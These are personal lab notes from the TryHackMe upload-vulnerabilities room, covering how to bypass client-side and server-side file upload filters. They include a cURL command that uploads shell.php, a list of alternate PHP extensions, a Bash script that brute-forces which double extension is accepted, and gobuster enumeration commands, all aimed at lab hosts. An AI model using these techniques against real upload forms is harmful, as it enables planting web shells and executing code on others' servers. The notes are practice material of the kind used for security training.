Upload vulnerabilities

TryHackMe upload vulnerabilities practice room

Bypassing client-side filtering

  1. Direct server requests with cURL

Eg.

Task 7 of the tryhackme.com practice room (link provided at the top)

The following Javascript file defines the client-side filtering logic, which only allows file uploads of the type image/png:

...
...
		if (file.type != "image/png"){
			upload.value = "";
			uploadMsg.style = "display:none;";
			error();
		} else{
			uploadMsg.innerHTML = "Chosen File: " + upload.value.split(/(\\|\/)/g).pop();
			responseMsg.style="display:none;";
			errorMsg.style="display:none;";
			success();
		}

...
...

Given the following form field in the HTML source code:

<form method="post" enctype="multipart/form-data">
    <input type="file" name="fileToUpload" id="fileSelect" style="display:none">
    <input class="Btn" type="submit" value="Upload" name="submit" id="submitBtn">
</form>

A cURL request can be sent directly to the server — completely bypassing the client-side filter.

The -F or --form flag in the cURL command can be used to send form-data (given that the file shell.php is found in the same directory):

curl 'http://java.uploadvulns.thm/' \
  -H 'Host: java.uploadvulns.thm' \
  -F 'fileToUpload=@shell.php;type=text/x-php'
  -F 'submit=Upload'

The Content-Type header will be automatically added to the final HTTP POST request, and will look like the following:

Content-Type: multipart/form-data; boundary=------------------------xxxx

  1. Interceping and modifying requests with BurpSuite

BurpSuite can be used to modify:

a) The GET response from the server to the client, allowing the removal of JavaScript filter logic loaded on the client side

b) The POST request sent to the server, enabling the removal of client-side filtering before the data is uploaded

Bypassing server-side filtering

1. File extension

a) Presence of valid file extension anywhere within the filename (whitelist bypass)

Some server-side filtering mechanism check if the filename contains a valid file extension without enforcing strict validation at the end of the filenam. This logic can be exploited by including the allowed extension within the filename while using a malicious extension.

A possible server-side logic:

IF STRING ".[file-ext]" IS IN VARIABLE <user_input>:
    PROCEED
ELSE:
    RETURN ERROR MESSAGE

Eg. Given that the valid file extension is .jpg. A possible valid filename can be: shell.jpg.php. This allows us to bypass the filter and upload a PHP file — providing us a platform for code execution..

b) Using uncommon file extension for the same file-type (blacklist bypass)

Some server-side filtering logic may check the file extension, and reject the file based on a blacklist. However, blacklist implementations are often incomplete, and fail to cover all possible extensions for the same file-type. This allows us to sneak a filename through the filters, which may be recognized and executed by the server.

Refer to the sub-page named: File extension cheat-sheet.

Eg. Given that .php is blacklisted, .php5 may still be allowed. Thus, the filename shell.php5 will be accepted by the server, and may execute if configured to handle .php5 files as PHP scripts — providing us a platform for code execution.

Examples

Eg.

Task 8 of the tryhackme.com practice room (link provided at the top)

This challenge requires the combination of method 1 and 2 discussed above (**TO CONFIRM).

I decided to create a simple Bash shell script to automate the process of finding the valid filename.

php-ext.txt (wordlist of PHP file extensions)

.phtml
.php3
.php4
.php5
.php7
.phps
.php-s
.pht
.phar

Bash shell script

#!/bin/bash

file="php-ext.txt"
while IFS="" read -r cur;
do
	if [[ -z "$cur" ]]; then
		continue
	fi

	res=$(curl http://annex.uploadvulns.thm -H "Host: annex.uploadvulns.thm" -F "fileToUpload=@shell.jpg$cur;type=application/octet-stream" -F "submit=Upload" -s -o /dev/null -D - | grep 'location')

	# alternatively,
	# if [[ "$res" == *"/?submit=success"* ]]; then
	if echo "$res" | grep -q "/?submit=success"; then
		printf "FOUND: $cur"
		exit 0
	fi

done < "$file"

Output: FOUND: .php5

The accepted PHP shell script filename is shell.jpg.php5.

2. Magic numbers

Magic number refers to the 4 hexadecimal digits present at the start of a file. It is used to identify the type of file, and can be viewed by using the xxd/hexdump command (hexeditor to edit). This logic is implemented by some servers to detect the file-type for filtering purposes — but unfortunately, can be easily workaround.

...

https://tryhackme.com/room/uploadvulns (TASK 9)

** rmb do not include extra / at the end of the path passed to gobuster -u flag if the wordlist item already has a /

a) Fingerprint the webserver technology — nodejs, Apache/PHP, etc.

  • Visit webpage which returns 404 (the webserver tech may be shown)

  • nmap script

  • response headers?

$ gobuster dir -u http://magic.uploadvulns.thm/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/Common-PHP-Filenames.txt

/index.php (not present in the wordlist though) returned

  • confirm PHP

b) Try common file upload directories for the found webserver technology (gobuster/manual?):

  • assets/uploads/

  • assets/js/ (if webserver is nodejs?)

$ gobuster dir -u http://magic.uploadvulns.thm/assets/FUZZ/background.php -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt

Nothing found...

c) Upload magic-numbered file named background.jpg to overwrite file at /assets/images/background.jpg not working

Last updated